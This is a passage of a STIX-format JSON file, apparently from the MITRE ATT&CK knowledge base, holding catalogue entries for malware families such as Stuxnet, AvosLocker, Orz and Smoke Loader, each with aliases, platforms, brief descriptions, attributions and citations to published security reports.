"https://attack.mitre.org/software/S0416"}, {"source_name": "FireEye FIN7 Oct 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019."}], "modified": "2019-10-16T15:34:22.990Z", "name": "RDFSNIFFER", "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Edward Millington"], "x_mitre_aliases": ["Proxysvc"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0238", "external_id": "S0238"}, {"source_name": "Proxysvc", "description": "(Citation: McAfee GhostSecret)"}, {"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2020-03-30T17:23:20.589Z", "name": "Proxysvc", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Orz", "AIRBREAK"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "2.2", "external_references": [{"source_name": "mitre-attack", "external_id": "S0229", "url": "https://attack.mitre.org/software/S0229"}, {"source_name": "AIRBREAK", "description": "(Citation: FireEye Periscope March 2018)"}, {"source_name": "Orz", "description": "(Citation: Proofpoint Leviathan Oct 2017)"}, {"source_name": "Proofpoint Leviathan Oct 2017", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."}, {"source_name": "FireEye Periscope March 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", "modified": "2022-04-19T01:33:33.267Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Orz", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T22:31:28.094Z", "name": "Torisma", "description": "[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Torisma"], "type": "malware", "id": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "created": "2022-02-01T16:21:13.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0678", "external_id": "S0678"}, {"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. 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(2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."}, {"source_name": "Unit 42 Nokki Oct 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}], "modified": "2020-03-18T15:22:32.747Z", "name": "NOKKI", "description": "[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["yty"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0248", "external_id": "S0248"}, {"source_name": "yty", "description": "(Citation: ASERT Donot March 2018)"}, {"source_name": "ASERT Donot March 2018", "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"}], "modified": "2020-03-28T21:45:32.149Z", "name": "yty", "description": "[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-12T17:18:25.971Z", "name": "Backdoor.Oldrea", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "2.0", "x_mitre_aliases": ["Backdoor.Oldrea", "Havex"], "type": "malware", "id": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "created": "2017-05-31T21:32:59.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0093", "external_id": "S0093"}, {"source_name": "Gigamon Berserk Bear October 2021", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf"}, {"source_name": "Symantec Dragonfly Sept 2017", "description": "Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", "url": "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"}, {"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. 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[Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) ", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "1.4", "x_mitre_aliases": ["Stuxnet", "W32.Stuxnet"], "type": "malware", "id": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "created": "2020-12-14T17:34:58.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0603", "external_id": "S0603"}, {"source_name": "W32.Stuxnet", "description": "(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) "}, {"source_name": "CISA ICS Advisory ICSA-10-272-01", "description": "CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020.", "url": "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01"}, {"source_name": "ESET Stuxnet Under the Microscope", "description": "Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020.", "url": "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf"}, {"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}, {"source_name": "Langer Stuxnet", "description": "Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved December 7, 2020.", "url": "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Downdelph", "Delphacy"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", "type": "malware", "created": "2017-05-31T21:33:16.790Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0134", "external_id": "S0134"}, {"source_name": "ESET Sednit Part 3", "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}], "modified": "2020-03-30T15:32:15.795Z", "name": "Downdelph", "description": "[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-12T21:19:45.801Z", "name": "RotaJakiro", "description": "[RotaJakiro](https://attack.mitre.org/software/S1078) is a 64-bit Linux backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First seen in 2018, it uses a plugin architecture to extend capabilities. [RotaJakiro](https://attack.mitre.org/software/S1078) can determine it's permission level and execute according to access type (`root` or `user`).(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: netlab360 rotajakiro vs oceanlotus)", "x_mitre_platforms": ["Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["RotaJakiro"], "type": "malware", "id": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "created": "2023-06-14T17:04:01.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1078", "external_id": "S1078"}, {"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}, {"source_name": "netlab360 rotajakiro vs oceanlotus", "description": "Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-02-15T17:03:59.324Z", "name": "AvosLocker", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://attack.mitre.org/software/S1053) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)", "x_mitre_platforms": ["Linux", "Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Flavio Costa, Cisco"], "x_mitre_aliases": ["AvosLocker"], "type": "malware", "id": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "created": "2023-01-11T21:17:36.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1053", "external_id": "S1053"}, {"source_name": "Joint CSA AvosLocker Mar 2022", "description": "FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.", "url": "https://www.ic3.gov/Media/News/2022/220318.pdf"}, {"source_name": "Malwarebytes AvosLocker Jul 2021", "description": "Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}, {"source_name": "Trend Micro AvosLocker Apr 2022", "description": "Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SEASHARPEE"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--0998045d-f96e-4284-95ce-3c8219707486", "type": "malware", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0185", "external_id": "S0185"}, {"source_name": "SEASHARPEE", "description": "(Citation: FireEye APT34 Webinar Dec 2017)"}, {"url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017"}], "modified": "2021-04-23T20:29:59.216Z", "name": "SEASHARPEE", "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)", "x_mitre_version": "2.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Get2"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", "type": "malware", "created": "2020-05-29T20:32:42.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0460", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0460"}, {"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:48:16.541Z", "name": "Get2", "description": "[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["POWRUNER"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "type": "malware", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0184", "external_id": "S0184"}, {"source_name": "POWRUNER", "description": "(Citation: FireEye APT34 Dec 2017)"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}], "modified": "2020-07-06T16:11:56.562Z", "name": "POWRUNER", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. 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According to security researchers, [Chinoxy](https://attack.mitre.org/software/S1041) has been used by Chinese-speaking threat actors.(Citation: Bitdefender FunnyDream Campaign November 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Chinoxy"], "type": "malware", "id": "malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e", "created": "2022-09-21T16:46:22.726Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1041", "external_id": "S1041"}, {"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}, {"source_name": "BleepingComputer Molerats Dec 2020", "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. 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[COATHANGER](https://attack.mitre.org/software/S1105) is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name [COATHANGER](https://attack.mitre.org/software/S1105) is based on a unique string in the malware used to encrypt configuration files on disk: <code>\u201cShe took his coat and hung it up\u201d</code>.(Citation: NCSC-NL COATHANGER Feb 2024)", "x_mitre_platforms": ["Linux", "Network"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["COATHANGER"], "type": "malware", "id": "malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817", "created": "2024-02-07T18:33:18.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1105", "external_id": "S1105"}, {"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.", "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-04T15:36:06.160Z", "name": "Sardonic", "description": "[Sardonic](https://attack.mitre.org/software/S1085) is a backdoor written in C and C++ that is known to be used by [FIN8](https://attack.mitre.org/groups/G0061), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Serhii Melnyk, Trustwave SpiderLabs"], "x_mitre_aliases": ["Sardonic"], "type": "malware", "id": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "created": "2023-09-05T15:56:46.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1085", "external_id": "S1085"}, {"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. 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Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:04:55.094Z", "name": "Smoke Loader", "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. 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Retrieved March 20, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"}, {"source_name": "Microsoft Dofoil 2018", "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", "type": "malware", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0151", "external_id": "S0151"}, {"source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}], "modified": "2018-10-17T00:14:20.652Z", "name": "HALFBAKED", "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T20:39:43.747Z", "name": "WindTail", "description": "[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", "x_mitre_platforms": ["macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["WindTail"], "type": "malware", "id": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "created": "2020-06-04T19:01:53.566Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0466", "external_id": "S0466"}, {"source_name": "SANS Windshift August 2018", "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020.", "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf"}, {"source_name": "objective-see windtail1 dec 2018", "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.", "url": "https://objective-see.com/blog/blog_0x3B.html"}, {"source_name": "objective-see windtail2 jan 2019", "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). 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[ZLib](https://attack.mitre.org/software/S0086) is malware and should not be confused with the legitimate compression library from which its name is derived.(Citation: Cylance Dust Storm)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["ZLib"], "type": "malware", "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", "created": "2017-05-31T21:32:56.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0086", "external_id": 